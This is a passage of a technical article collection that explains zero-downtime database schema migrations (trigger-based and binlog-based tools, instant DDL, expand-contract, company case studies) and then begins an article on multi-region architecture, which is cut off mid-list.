- [AWS DMS CDC](https://docs.aws.amazon.com/dms/latest/userguide/CHAP_Task.CDC.html) - DMS ongoing replication

**Engineering Blogs:**

- [LinkedIn: Open Sourcing Databus](https://engineering.linkedin.com/data-replication/open-sourcing-databus-linkedins-low-latency-change-data-capture-system) - Original Databus architecture
- [Shopify: Capturing Every Change](https://shopify.engineering/capturing-every-change-shopify-sharded-monolith) - CDC at Shopify scale
- [Netflix: DBLog](https://netflixtechblog.com/dblog-a-generic-change-data-capture-framework-69351fb9099b) - Incremental snapshot approach
- [Airbnb: SpinalTap](https://medium.com/airbnb-engineering/capturing-data-evolution-in-a-service-oriented-architecture-72f7c643ee6f) - CDC for materialized views

**Patterns and Best Practices:**

- [Transactional Outbox Pattern](https://microservices.io/patterns/data/transactional-outbox.html) - Reliable event publishing pattern
- [AWS Transactional Outbox](https://docs.aws.amazon.com/prescriptive-guidance/latest/cloud-design-patterns/transactional-outbox.html) - AWS implementation guide
- [PostgreSQL Replication Slots Deep Dive](https://www.morling.dev/blog/mastering-postgres-replication-slots/) - Operational guidance
- [Advantages of Log-Based CDC](https://debezium.io/blog/2018/07/19/advantages-of-log-based-change-data-capture/) - Comparison with other approaches

**Kafka Exactly-Once:**

- [Kafka Exactly-Once Semantics](https://www.confluent.io/blog/exactly-once-semantics-are-possible-heres-how-apache-kafka-does-it/) - Confluent explanation
- [KIP-98: Exactly Once Delivery](https://cwiki.apache.org/confluence/display/KAFKA/KIP-98+-+Exactly+Once+Delivery+and+Transactional+Messaging) - Original Kafka proposal

---

## Database Migrations at Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/database-migrations-at-scale
**Category:** System Design / Core Distributed Patterns
**Description:** Changing database schemas in production systems without downtime requires coordinating schema changes, data transformations, and application code across distributed systems. The core challenge: the schema change itself takes milliseconds, but MySQL’s ALTER TABLE on a 500GB table with row locking would take days and block all writes. This article covers the design paths, tool mechanisms, and production patterns that enable zero-downtime migrations.

# Database Migrations at Scale

Changing database schemas in production systems without downtime requires coordinating schema changes, data transformations, and application code across distributed systems. The core challenge: the schema change itself takes milliseconds, but MySQL's `ALTER TABLE` on a 500GB table with row locking would take days and block all writes. This article covers the design paths, tool mechanisms, and production patterns that enable zero-downtime migrations.

<figure>

![Decision tree for selecting migration approach based on table characteristics and change type.](./decision-tree-for-selecting-migration-approach-based-on-table-characteristics-an.svg)

<figcaption>Decision tree for selecting migration approach based on table characteristics and change type.</figcaption>
</figure>

## Abstract

Database migrations at scale are fundamentally about **change isolation**—ensuring schema modifications don't block production traffic. Three primary mechanisms achieve this:

1. **Shadow table approach**: Create a copy of the table with the new schema, copy data in batches, capture ongoing changes, then atomically swap. The critical design choice is _how_ to capture changes—triggers (synchronous, blocks queries) vs. binlog consumption (asynchronous, adds latency).

2. **Expand-contract pattern**: Add new columns/tables alongside old ones, run dual-write/dual-read during transition, then remove old structures. This trades migration complexity for deployment flexibility—any stage can be rolled back independently.

3. **Native instant DDL**: Metadata-only changes that avoid data copying entirely. Limited to specific operations (MySQL 8.0.29+ supports adding/dropping columns instantly), but transforms hours-long migrations into milliseconds.

The production reality: most migrations combine these approaches. A column type change might use gh-ost for the schema change, expand-contract for application rollout, and backfill jobs for data transformation—each stage with its own rollback plan.

## The Problem

### Why Naive Schema Changes Fail

**Approach 1: Direct `ALTER TABLE`**

MySQL's `ALTER TABLE` (pre-8.0, or for unsupported operations) acquires a metadata lock that blocks all queries for the duration of the table copy:

```sql
-- On a 200GB table with 500M rows, this takes 4-8 hours
-- ALL reads and writes blocked for the entire duration
ALTER TABLE orders ADD COLUMN shipping_estimate DATETIME;
```

The table must be copied row-by-row to a new structure. For a 200GB table at 100MB/s internal throughput, that's ~33 minutes just for copying—but with checkpointing, validation, and lock contention, real-world times are 4-8 hours. During this time, the application is effectively down.

**Approach 2: Blue-Green Table Swap**

Create a new table, copy data, swap:

```sql
CREATE TABLE orders_new LIKE orders;
ALTER TABLE orders_new ADD COLUMN shipping_estimate DATETIME;
INSERT INTO orders_new SELECT *, NULL FROM orders;
RENAME TABLE orders TO orders_old, orders_new TO orders;
```

The `RENAME` is atomic, but the gap between finishing the `INSERT` and executing `RENAME` means writes to `orders` are lost. On a table with 1,000 writes/second, even a 100ms gap loses 100 records.

**Approach 3: Application-Level Dual Write**

Write to both old and new tables from application code:

```python
def create_order(order_data):
    db.execute("INSERT INTO orders ...", order_data)
    db.execute("INSERT INTO orders_new ...", order_data)  # Add new column
```

Without distributed transactions, a crash between the two writes leaves the tables inconsistent. More subtly, the two writes aren't atomic—concurrent transactions might see different states. Stripe's engineering blog notes that dual-write "works only if you can tolerate some data inconsistency during the migration window."

### The Core Challenge

The fundamental tension: **schema changes require exclusive access, but production systems require continuous availability**. Online schema change (OSC) tools resolve this by creating the illusion of atomicity through careful orchestration—maintaining a shadow copy that stays synchronized until a brief, sub-second cutover.

## Design Paths

### Path 1: Trigger-Based (pt-online-schema-change)

Percona's pt-online-schema-change (pt-osc) uses MySQL triggers to synchronously capture changes.

**Mechanism:**

1. Create shadow table `_orders_new` with new schema
2. Create `AFTER INSERT`, `AFTER UPDATE`, `AFTER DELETE` triggers on original table
3. Copy rows in batches (default: 1,000 rows per chunk)
4. Triggers mirror every DML to the shadow table in real-time
5. Atomic swap: `RENAME TABLE orders TO _orders_old, _orders_new TO orders`

**Why triggers?** The synchronous nature means zero replication lag—every change to the original table is immediately applied to the shadow table within the same transaction. This simplifies the cutover: when the batch copy finishes, the shadow table is already current.

**Code flow:**

```sql
-- Trigger created by pt-osc (simplified)
CREATE TRIGGER pt_osc_ins_orders AFTER INSERT ON orders
FOR EACH ROW
  REPLACE INTO _orders_new (id, ..., shipping_estimate)
  VALUES (NEW.id, ..., NULL);
```

**Trade-offs:**

| Aspect               | Characteristic                                  |
| -------------------- | ----------------------------------------------- |
| Consistency          | Strong—changes are synchronous                  |
| Performance overhead | 10-15% on DML operations (trigger execution)    |
| Replication format   | Works with statement-based, row-based, or mixed |
| Foreign keys         | Better support than gh-ost                      |
| Cut-over             | Atomic RENAME, sub-second                       |

**When to choose:**

- Environments with statement-based replication (SBR)
- Tables with foreign key constraints
- Lower write throughput (<5,000 writes/sec on typical hardware)
- Simpler operational requirements

**Real-world:** Percona benchmarks show pt-osc completing migrations ~2x faster than gh-ost under light load, because triggers execute in parallel with the application while gh-ost's single-threaded binlog processing serializes changes.

### Path 2: Binlog-Based (gh-ost)

GitHub's gh-ost avoids triggers entirely by consuming the MySQL binary log.

**Mechanism:**

1. Create shadow table `_orders_gho` with new schema
2. Connect to a replica and simulate being a replica itself
3. Copy rows in batches from the original table
4. Simultaneously tail the binlog for changes to the original table
5. Apply binlog events to the shadow table asynchronously
6. Cut-over using a lock-and-rename coordination protocol

**Why binlog?** Triggers compete with application queries for row locks and add parsing overhead to every DML. On high-throughput tables (10,000+ writes/sec), trigger contention causes deadlocks and latency spikes. Binlog consumption is asynchronous—it doesn't block application queries.

**The cut-over challenge:**

MySQL doesn't support atomic table swap within a single connection that holds a lock. gh-ost's solution uses two connections:

```
Connection 1: LOCK TABLES orders WRITE, _orders_gho WRITE
              -- Creates sentry table to block premature RENAME
Connection 2: RENAME TABLE orders TO _orders_del, _orders_gho TO orders
              -- Blocked until sentry is dropped
Connection 1: DROP TABLE sentry; UNLOCK TABLES
              -- RENAME executes, appears atomic to replicas
```

The sentry table mechanism ensures the RENAME only executes after all binlog events are applied. From the replica's perspective (which only sees the binlog), the RENAME appears instantaneous.

**Trade-offs:**

| Aspect               | Characteristic                                      |
| -------------------- | --------------------------------------------------- |
| Consistency          | Eventually consistent during migration (binlog lag) |
| Performance overhead | Network I/O for binlog, but no trigger overhead     |
| Replication format   | Requires row-based replication (RBR)                |
| Foreign keys         | No support (can't track FK updates via binlog)      |
| Cut-over             | Coordinated lock-and-rename, typically 1-3 seconds  |

**When to choose:**

- High write throughput (>5,000 writes/sec)
- Long-running migrations where throttling is needed
- Need for true pause capability (pausing gh-ost stops all migration work)
- Modern MySQL 5.7+ / 8.0 environments with RBR

**Real-world:** GitHub migrates tables with millions of rows while serving production traffic. Their documentation notes that under sustained high load, gh-ost may lag behind indefinitely if writes exceed single-threaded binlog processing capacity.

### Path 3: Native Instant DDL (MySQL 8.0+)

MySQL 8.0.12 introduced `ALGORITHM=INSTANT` for metadata-only changes.

**Supported instant operations (8.0.29+):**

- `ADD COLUMN` at any position
- `DROP COLUMN`
- `RENAME COLUMN`
- `SET DEFAULT` / `DROP DEFAULT`
- Modify `ENUM`/`SET` column definition

**Mechanism:**

Instead of copying the table, MySQL stores the new column definition in metadata. Existing rows return `NULL` (or the default value) for the new column until explicitly updated. New rows include the column in their storage format.

```sql
-- Completes in milliseconds regardless of table size
ALTER TABLE orders ADD COLUMN shipping_estimate DATETIME, ALGORITHM=INSTANT;
```

**Why the 64-version limit?** Each instant operation increments a row version counter. MySQL caps this at 64 to bound the complexity of interpreting row formats during reads. After 64 instant operations, you must rebuild the table (which MySQL will do automatically if you try another instant operation beyond the limit).

**Trade-offs:**

| Aspect              | Characteristic                               |
| ------------------- | -------------------------------------------- |
| Speed               | Milliseconds for any table size              |
| Limitations         | 64 instant operations per table rebuild      |
| Row format          | Compressed tables not supported              |
| Combined operations | Can't mix instant + non-instant in one ALTER |

**When to choose:**

- Adding nullable columns or columns with defaults
- Dropping unused columns
- Any supported operation on tables too large for OSC

**Gotcha:** Even "online" ALTER TABLE on the primary causes replication lag on replicas. The replica must acquire the same locks and perform the same operation. For non-instant operations on large tables, replicas will lag for hours.

### Path 4: Expand-Contract (Application-Coordinated)

For changes that require data transformation (not just schema changes), the expand-contract pattern decouples the migration into independently deployable stages.

**Phases:**

![Diagram](./diagram-1.svg)

**Stage 1: Expand (backward compatible)**

```sql
ALTER TABLE users ADD COLUMN full_name VARCHAR(255);
```

```python
# Application code v2: Write to both
def update_user_name(user_id, first, last):
    db.execute("""
        UPDATE users
        SET first_name = %s, last_name = %s, full_name = %s
        WHERE id = %s
    """, (first, last, f"{first} {last}", user_id))
```

**Stage 2: Migrate (transition)**

Run backfill job:

```sql
-- Process in batches of 10,000
UPDATE users
SET full_name = CONCAT(first_name, ' ', last_name)
WHERE full_name IS NULL
LIMIT 10000;
```

Deploy read from new column:

```python
def get_display_name(user_id):
    return db.query("SELECT full_name FROM users WHERE id = %s", user_id)
```

**Stage 3: Contract (remove legacy)**

```python
# Application code v4: Write only new column
def update_user_name(user_id, full_name):
    db.execute("UPDATE users SET full_name = %s WHERE id = %s", (full_name, user_id))
```

```sql
ALTER TABLE users DROP COLUMN first_name, DROP COLUMN last_name;
```

**Trade-offs:**

| Aspect                 | Characteristic                                    |
| ---------------------- | ------------------------------------------------- |
| Rollback capability    | Each stage independently reversible               |
| Deployment flexibility | Different services can be at different stages     |
| Complexity             | Multiple deployments, temporary increased storage |
| Duration               | Days to weeks for full migration                  |

**When to choose:**

- Data transformation required (not just schema change)
- Multiple services read/write the table
- Need fine-grained rollback at each stage
- Regulatory or audit requirements for gradual rollout

**Real-world:** Stripe uses expand-contract for all schema migrations involving data changes. Their engineering blog notes: "We never change more than a few hundred lines at a time—each stage is a separate pull request with its own review."

### Decision Framework

![Diagram](./diagram-2.svg)

## Production Implementations

### GitHub: gh-ost at Scale

**Context:** GitHub serves millions of repositories with MySQL clusters handling tens of thousands of queries per second. Schema changes on tables like `commits` (billions of rows) were impossible with traditional OSC tools.

**Implementation choices:**

- Pattern variant: Binlog-based with replica consumption
- Key customization: Configurable throttling based on replica lag, custom cut-over timing
- Scale: Tables with hundreds of millions of rows, thousands of writes/sec

**Specific details:**

- Reads binlog from replica to minimize primary load
- Supports `--postpone-cut-over` to schedule final swap during low-traffic windows
- Dynamic configuration via Unix socket while migration runs
- Heartbeat injection for lag detection (configurable, default 500ms)

**What worked:**

- True pause capability—unlike trigger-based tools, pausing gh-ost means zero additional load
- Testability—can run in "test-on-replica" mode that never touches production

**What was hard:**

- Single-threaded binlog processing can't keep up with very high write loads
- Initial versions had bugs in cut-over that caused brief outages
- Network bandwidth—must transfer both data copy and binlog stream

### Slack: Vitess Migration

**Context:** Slack's messaging infrastructure required scaling from a single MySQL shard to dozens while maintaining sub-100ms latency for message delivery.

**Implementation choices:**

- Pattern variant: VReplication-based (Vitess's internal replication)
- Key customization: Table comprising 20% of overall query load migrated incrementally
- Scale: 0 to 2.3 million QPS over 3 years

**Architecture:**

![Diagram](./diagram-3.svg)

**Specific details:**

- Generic backfill system for cloning tables with double-writes from application
- Parallel double-read diffing to verify semantic correctness before cutover
- Data model based on collocating all data per Slack team on same shard

**What worked:**

- VReplication's built-in consistency guarantees reduced custom verification code
- Declarative schema migrations—define desired state, Vitess computes diff

**What was hard:**

- 3-year migration timeline required maintaining backward compatibility throughout
- Double-read verification caught subtle bugs that would have caused data loss

### Figma: PostgreSQL Horizontal Sharding

**Context:** Figma's single PostgreSQL database on AWS's largest RDS instance was approaching capacity limits with ~100x growth from 2020-2022.

**Implementation choices:**

- Pattern variant: Custom horizontal sharding with proxy layer
- Key customization: DBProxy service intercepts SQL and routes dynamically
- Scale: Largest RDS instance to horizontally sharded cluster

**Architecture:**

![Diagram](./diagram-4.svg)

**Specific details:**

- DBProxy implements load-shedding and request hedging
- Shadow application readiness testing predicts live traffic behavior
- Maintained rollback capability throughout—no one-way migrations

**What worked:**

- ~30 seconds downtime during table moves (vs. hours with traditional approaches)
- Transparent scale-out—no future application changes required

**What was hard:**

- Evaluated CockroachDB, TiDB, Spanner—migration risk too high for timeline
- Skip expensive backfills by designing schema for eventual sharding from start

### Stripe: Scientist for Verification

**Context:** Stripe migrates millions of active payment objects while maintaining 99.999% availability and financial consistency.

**Implementation choices:**

- Pattern variant: Expand-contract with shadow verification
- Key customization: GitHub Scientist library for runtime comparison
- Scale: 5 million database queries per second

**Scientist verification pattern:**

```ruby
# Compare old and new code paths in production
experiment = Scientist::Experiment.new("order-migration")
experiment.use { legacy_order_lookup(id) }     # Control: always returned
experiment.try { new_order_lookup(id) }        # Candidate: compared
experiment.run
```

**Specific details:**

- Runs both code paths, compares results, publishes mismatches
- Never uses Scientist for writes (side effects would execute twice)
- Data reconciliation scripts run alongside experiments
- Hadoop MapReduce for offline data transformation (vs. expensive production queries)

**What worked:**

- Caught subtle bugs in new code paths before cutover
- Mismatches trigger alerts, allowing fixes before full rollout

**What was hard:**

- Scientist blocks run sequentially—data may change between executions
- Large-scale comparisons require careful sampling to avoid performance impact

### Implementation Comparison

| Aspect       | GitHub (gh-ost)  | Slack (Vitess)   | Figma (Custom)        | Stripe (Scientist)             |
| ------------ | ---------------- | ---------------- | --------------------- | ------------------------------ |
| Approach     | Binlog-based OSC | VReplication     | Proxy + sharding      | Expand-contract + verification |
| Scale        | Billions of rows | 2.3M QPS         | 100x growth           | 5M queries/sec                 |
| Downtime     | 1-3 sec cutover  | Sub-second       | ~30 sec moves         | Zero (staged)                  |
| Verification | Test-on-replica  | Double-read diff | Shadow traffic        | Scientist comparison           |
| Rollback     | Re-run migration | VReplication     | Maintained throughout | Per-stage                      |

## Implementation Guide

### Starting Point Decision

![Diagram](./diagram-5.svg)

### Tool Selection Matrix

| Tool            | Best For                              | Avoid When                                   |
| --------------- | ------------------------------------- | -------------------------------------------- |
| **INSTANT DDL** | Add/drop columns, any table size      | Unsupported operations, 64-version limit hit |
| **pt-osc**      | Simpler setup, FK support, SBR        | High write load (>5K/sec), trigger-sensitive |
| **gh-ost**      | High throughput, pausable, testable   | Foreign keys, SBR environments               |
| **Spirit**      | MySQL 8.0+, checkpoint/resume         | Non-MySQL, need FK support                   |
| **Vitess**      | Already on Vitess, need revertibility | Single database, simple schema               |
| **pgroll**      | PostgreSQL, reversible migrations     | Not Postgres 14+, can't use views            |

### Backfill Best Practices

**Batching and throttling:**

```python
def backfill_column(batch_size=10000, sleep_between=0.5):
    last_id = 0
    while True:
        # Process batch
        result = db.execute("""
            UPDATE users
            SET full_name = CONCAT(first_name, ' ', last_name)
            WHERE id > %s AND full_name IS NULL
            ORDER BY id LIMIT %s
        """, (last_id, batch_size))

        if result.rowcount == 0:
            break

        last_id = get_max_id_from_batch()

        # Checkpoint for resume
        save_checkpoint(last_id)

        # Throttle to avoid replica lag
        time.sleep(sleep_between)
```

**Key requirements:**

- **Idempotent**: Safe to re-run on failure
- **Resumable**: Checkpoint progress for restart
- **Throttled**: Monitor replica lag, pause if > threshold
- **Batched by primary key**: Avoid full table scans

### Verification Checklist

Before cutover:

- [ ] Shadow table row count matches original (within replication lag window)
- [ ] Checksum verification passes (Spirit, pt-osc support this)
- [ ] Replica lag is within acceptable bounds
- [ ] No blocking queries on the table
- [ ] Rollback procedure documented and tested

During cutover:

- [ ] Cut-over scheduled during low-traffic window
- [ ] Monitoring dashboards open
- [ ] On-call engineer available
- [ ] Rollback trigger defined (latency spike, error rate)

After cutover:

- [ ] Application metrics stable
- [ ] No increase in error rates
- [ ] Old table preserved for 24-48 hours (emergency rollback)
- [ ] Cleanup scheduled (drop old table after validation period)

## Common Pitfalls

### 1. Blocking Queries During Cut-Over

**The mistake:** Running long-running queries while attempting cut-over.

**What happens:** gh-ost and pt-osc need a metadata lock for the final RENAME. Long-running `SELECT` statements (reporting queries, analytics) hold metadata locks that block the cut-over. The migration waits, and new queries queue behind it, causing application timeout.

**Solutions:**

- Kill long-running queries before cut-over window
- Use `--postpone-cut-over` to schedule during low-traffic windows
- Implement query timeout policies in the application

### 2. Foreign Key Constraints

**The mistake:** Using gh-ost on tables with foreign keys.

**What happens:** gh-ost creates a shadow table without FK relationships. Inserts to child tables referencing the original table fail because the FK points to the wrong table during migration.

**Solutions:**

- Use pt-osc for tables with foreign keys
- Remove FKs before migration, re-add after (requires application-level integrity)
- Migrate parent tables before child tables

### 3. Underestimating Backfill Duration

**The mistake:** Assuming backfill will complete in production test time × table size ratio.

**What happens:** Production has more concurrent load, larger transactions, more replica lag. A backfill that took 2 hours in staging takes 2 days in production, blocking the contract phase.

**Solutions:**

- Run backfill during off-peak hours
- Use aggressive throttling (better slow than blocking production)
- Parallelize across partitions if table is partitioned

### 4. Missing Rollback Plan

**The mistake:** Planning only for success.

**What happens:** Migration completes, application deployed, then subtle data corruption discovered. No clear path to restore the old schema with new data intact.

**Solutions:**

- Keep old columns/tables for 24-48 hours after cutover
- Design for bidirectional compatibility during expand phase
- Test rollback procedure before starting migration

### 5. Instant DDL Version Limit

**The mistake:** Assuming INSTANT DDL always works.

**What happens:** After 64 instant operations on a table, MySQL forces a table rebuild. This can surprise teams mid-migration with a multi-hour ALTER.

**Solutions:**

- Track instant operation count per table
- Proactively rebuild tables approaching the limit during maintenance windows
- Use `SELECT NAME, TOTAL_ROW_VERSIONS FROM INFORMATION_SCHEMA.INNODB_TABLES`

## Conclusion

Database migrations at scale reduce to a core principle: **isolate change from production traffic through incremental, reversible steps**. The shadow table approach (whether trigger-based or binlog-based) enables schema changes without downtime. Expand-contract enables data transformations without big-bang deployments. Native instant DDL enables metadata changes without any table copying.

The production patterns—verification via Scientist-style comparison, throttled backfills, careful cut-over coordination—exist because migrations fail. GitHub built gh-ost after trigger-based tools caused deadlocks. Stripe built Scientist after code migrations introduced subtle bugs. Figma built custom sharding after evaluating NewSQL databases.

The common thread: plan for rollback at every stage, verify before trusting, and never assume the happy path.

## Appendix

### Prerequisites

- Understanding of database replication (binary log, replica lag)
- Familiarity with ACID transactions and locking
- Knowledge of blue-green deployment patterns

### Summary

- **Shadow table approach**: pt-osc (triggers) vs. gh-ost (binlog)—choose based on write load and foreign key needs
- **Expand-contract**: For data transformations, decouple into backward-compatible stages
- **Instant DDL**: Use for supported operations; track the 64-version limit
- **Verification matters**: Stripe's Scientist, Slack's double-read—verify before cutover
- **Plan for failure**: Keep old structures 24-48 hours, test rollback before starting

### References

- [gh-ost: GitHub's Online Schema-Change Tool](https://github.com/github/gh-ost) - Design documentation and cut-over mechanism
- [pt-online-schema-change](https://docs.percona.com/percona-toolkit/pt-online-schema-change.html) - Percona Toolkit documentation
- [MySQL 8.0 Online DDL Operations](https://dev.mysql.com/doc/refman/8.0/en/innodb-online-ddl-operations.html) - Official MySQL documentation on INSTANT algorithm
- [Spirit: MySQL Online Schema Change](https://github.com/block/spirit) - Block's modern reimplementation of gh-ost
- [Vitess Online DDL](https://vitess.io/docs/user-guides/schema-changes/ddl-strategies/) - VReplication-based migrations
- [pgroll: Zero-Downtime PostgreSQL Migrations](https://github.com/xataio/pgroll) - Expand-contract for PostgreSQL
- [Stripe Engineering: Online Migrations at Scale](https://stripe.com/blog/online-migrations) - Expand-contract and Scientist verification
- [GitHub Scientist](https://github.com/github/scientist) - Runtime comparison library
- [Slack Engineering: Scaling Datastores with Vitess](https://slack.engineering/scaling-datastores-at-slack-with-vitess/) - 3-year Vitess migration
- [Figma: How the Databases Team Lived to Tell the Scale](https://www.figma.com/blog/how-figmas-databases-team-lived-to-tell-the-scale/) - Custom PostgreSQL sharding
- [Martin Fowler: Parallel Change](https://martinfowler.com/bliki/ParallelChange.html) - Expand-contract pattern origin

---

## Multi-Region Architecture

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/core-distributed-patterns/multi-region-architecture
**Category:** System Design / Core Distributed Patterns
**Description:** Building systems that span multiple geographic regions to achieve lower latency, higher availability, and regulatory compliance. This article covers the design paths—active-passive, active-active, and cell-based architectures—along with production implementations from Netflix, Slack, and Uber, data replication strategies, conflict resolution approaches, and the operational complexity trade-offs that determine which pattern fits your constraints.

# Multi-Region Architecture

Building systems that span multiple geographic regions to achieve lower latency, higher availability, and regulatory compliance. This article covers the design paths—active-passive, active-active, and cell-based architectures—along with production implementations from Netflix, Slack, and Uber, data replication strategies, conflict resolution approaches, and the operational complexity trade-offs that determine which pattern fits your constraints.

<figure>

![Multi-region architecture with cell-based isolation: traffic routes to nearest region, cells provide fault isolation within regions, and data replicates asynchronously across regions.](./multi-region-architecture-with-cell-based-isolation-traffic-routes-to-nearest-re.svg)

<figcaption>Multi-region architecture with cell-based isolation: traffic routes to nearest region, cells provide fault isolation within regions, and data replicates asynchronously across regions.</figcaption>
</figure>

## Abstract

Multi-region architecture navigates a fundamental tension: **global reach requires geographic distribution, but distribution introduces latency for coordination**. The core design decision is where to place the consistency boundary:

- **Active-passive**: Single writer, simple consistency, higher RTO during failover
- **Active-active**: Multiple writers, lower RTO, requires conflict resolution
- **Cell-based**: Regional isolation limits blast radius regardless of active/passive choice

The CAP theorem forces the choice: partition tolerance is mandatory across regions (WAN failures happen), so you trade consistency for availability or vice versa. Most production systems choose eventual consistency with idempotent operations and reconciliation—accepting that replicas may temporarily diverge but will converge.

**Key numbers to remember:**

| Metric                                | Typical Value      |
| ------------------------------------- | ------------------ |
| Cross-region RTT (US-East to EU-West) | 80-120ms           |
| Sync replication latency penalty      | 2× RTT per write   |
| Async replication lag (normal)        | 10ms - 1s          |
| Async replication lag (degraded)      | Minutes to hours   |
| Active-active failover                | Seconds            |
| Active-passive failover               | Minutes (scale-up) |
| Cell-based failover (Slack)           | < 5 minutes        |

## The Problem

### Why Single-Region Fails

**Latency ceiling**: A user in Tokyo accessing servers in US-East experiences 150-200ms RTT before any processing. For interactive applications, this degrades UX—humans perceive delays > 100ms.

**Availability ceiling**: A single region, even with multiple availability zones, shares failure domains: regional network issues, power grid problems, or cloud provider outages. AWS US-East-1 has experienced multiple region-wide incidents affecting all AZs.

**Compliance barriers**: GDPR, data residency laws, and data sovereignty requirements mandate that certain data stays within geographic boundaries. A single-region architecture cannot satisfy conflicting jurisdiction requirements.

### Why Naive Multi-Region Fails

**Approach 1: Synchronous replication everywhere**

Write latency becomes `2 × RTT + processing`. For US-to-EU replication, every write takes 200-300ms minimum. Users experience this as application sluggishness. Under high load, write queues back up and cascade into failures.

**Approach 2: Read replicas only, single primary**

Reads are fast (local), but writes route to a single region. Users far from the primary experience write latency. During primary region failure, writes are unavailable until manual failover—RTO measured in minutes to hours.

**Approach 3: Multi-primary without conflict resolution**

Concurrent writes to the same data in different regions corrupt state. Last-write-wins by wall clock fails because clock skew between regions can be seconds. The system appears to work until edge cases surface in production.

### The Core Challenge

The fundamental tension: **coordination across regions requires communication, communication requires time, and time is latency**. Strong consistency demands coordination. Lower latency demands less coordination. You cannot have both.

Multi-region architecture exists to navigate this tension by:

1. Defining clear consistency boundaries (what must be consistent, what can be eventual)
2. Choosing replication strategies that match latency requirements
3. Designing conflict resolution for inevitable concurrent writes
4. Building isolation boundaries to limit failure propagation

## Design Paths

### Path 1: Active-Passive

<figure>

![Active-passive: all traffic goes to primary region; standby receives replicated data but serves no traffic until failover.](./active-passive-all-traffic-goes-to-primary-region-standby-receives-replicated-da.svg)

<figcaption>Active-passive: all traffic goes to primary region; standby receives replicated data but serves no traffic until failover.</figcaption>
</figure>

**How it works:**

- One region (primary) handles all read and write traffic
- Standby region receives asynchronously replicated data
- Standby services may be scaled down or off to reduce cost
- Failover promotes standby to primary (manual or automated)

**When to choose:**

- Write latency is critical (single-writer means no cross-region coordination)
- Operational simplicity is prioritized
- Cost is a concern (standby can run minimal infrastructure)
- RTO of minutes is acceptable

**Key characteristics:**

- **RPO**: Depends on replication lag (typically seconds to minutes)
- **RTO**: Minutes to tens of minutes (standby scale-up, DNS propagation)
- **Consistency**: Strong within primary region
- **Cost**: Lower (standby runs minimal or no compute)

**Failover process:**

1. Detect primary failure (health checks, synthetic monitoring)
2. Stop replication to prevent stale writes
3. Promote standby database to primary
4. Scale up standby compute
5. Update DNS/routing to point to new primary
6. Verify application health

**Trade-offs vs active-active:**

| Aspect                 | Active-Passive         | Active-Active                    |
| ---------------------- | ---------------------- | -------------------------------- |
| Write latency          | Lowest (single region) | Higher if sync, same if async    |
| RTO                    | Minutes                | Seconds                          |
| Operational complexity | Lower                  | Higher                           |
| Cost                   | Lower                  | Higher                           |
| Consistency model      | Strong                 | Eventually consistent or complex |

**Real-world consideration:** AWS Elastic Disaster Recovery achieves RTO in minutes and RPO in seconds for active-passive setups. Azure Site Recovery provides 5-minute crash-consistent recovery points. These tools automate the failover process but still require standby scale-up time.

### Path 2: Active-Active

<figure>

![Active-active: both regions serve traffic simultaneously with bidirectional data replication.](./active-active-both-regions-serve-traffic-simultaneously-with-bidirectional-data-.svg)

<figcaption>Active-active: both regions serve traffic simultaneously with bidirectional data replication.</figcaption>
</figure>

**How it works:**

- All regions actively serve production traffic
- Each region has full read/write capability
- Data replicates bidirectionally between regions
- Conflict resolution handles concurrent writes to same data

**When to choose:**

- Near-zero RTO is required (no failover delay)
- Users are globally distributed (each region serves local users)
- Write availability cannot be sacrificed during region failures
- Team can handle conflict resolution complexity

**Key characteristics:**

- **RPO**: Zero (no data loss if replication is synchronous) or near-zero (async)
- **RTO**: Seconds (traffic reroutes automatically)
- **Consistency**: Eventually consistent (async) or linearizable (sync with latency cost)
- **Cost**: Higher (full capacity in all regions)

**Conflict resolution strategies:**

| Strategy                | How It Works                          | Trade-offs                                  |
| ----------------------- | ------------------------------------- | ------------------------------------------- |
| Last-Write-Wins (LWW)   | Timestamp-based; later write wins     | Simple but loses earlier concurrent writes  |
| Application-level merge | Custom logic per data type            | Flexible but complex to implement correctly |
| CRDTs                   | Mathematically guaranteed convergence | Limited data structures, can grow unbounded |
| Quorum writes           | Majority must agree                   | Higher latency, reduced availability        |

**Real-world example (Netflix):**

Netflix runs active-active across US-East and US-West:

- Strict region autonomy: no synchronous cross-region calls
- Services discover only local instances
- Writes go local, replicate asynchronously
- Embraced eventual consistency with idempotent operations
- Business logic redesigned to handle temporary divergence
- User profiles may temporarily differ but converge through replicated event journals

Result: Invisible failover to users; routine Chaos Kong tests drop entire regions.

**Trade-offs vs active-passive:**

| Aspect                 | Active-Active               | Active-Passive       |
| ---------------------- | --------------------------- | -------------------- |
| RTO                    | Seconds                     | Minutes              |
| Conflict handling      | Required                    | None (single writer) |
| Data consistency       | Eventual (typically)        | Strong               |
| Resource utilization   | Higher (all regions active) | Lower                |
| Operational complexity | Higher                      | Lower                |

### Path 3: Cell-Based Architecture

<figure>

![Cell-based architecture: each cell is an isolated, complete deployment serving a subset of users; failure in Cell A1 (highlighted) doesn't affect A2 or A3.](./cell-based-architecture-each-cell-is-an-isolated-complete-deployment-serving-a-s.svg)

<figcaption>Cell-based architecture: each cell is an isolated, complete deployment serving a subset of users; failure in Cell A1 (highlighted) doesn't affect A2 or A3.</figcaption>
</figure>

**How it works:**

- Workload is partitioned into isolated cells
- Each cell is a complete, independent deployment
- Cells don't share state with other cells
- Users are routed to a specific cell (by user ID, tenant, geography)
- Cell failure affects only users assigned to that cell

**When to choose:**

- Blast radius limitation is critical
- Multi-tenant systems where tenant isolation is required
- Gradual rollout of changes (per-cell deployment)
- High availability requirements where zone/region failures are unacceptable

**Key characteristics:**

- **Blast radius**: Limited to cell size (e.g., 1/N of users)
- **Independence**: Cells don't communicate with each other
- **Scaling**: Add more cells rather than scaling cell size
- **Complexity**: Cell routing, cross-cell operations (rare)

**Cell sizing considerations:**

| Cell Size             | Blast Radius | Cost Efficiency | Operational Overhead |
| --------------------- | ------------ | --------------- | -------------------- |
| Small (1% of users)   | Minimal      | Lower           | Higher (more cells)  |
| Medium (10% of users) | Moderate     | Balanced        | Moderate             |
| Large (25% of users)  | Higher       | Higher          | Lower                |

**Real-world example (Slack):**

Slack migrated to cell-based architecture after availability zone outages:

- Each AZ contains a completely siloed backend deployment
- Services only communicate within their AZ
- Failure in one AZ is contained to that AZ
- Can drain affected AZ within 5 minutes
- Traffic shifted gradually (1% granularity)
- Edge load balancers (Envoy) distributed across regions

Result: AZ failures no longer cascade; graceful degradation affects subset of users.

**Combining with active-active:**

Cell-based architecture is orthogonal to active-passive/active-active:

- **Active-passive cells**: Each cell has a primary and standby
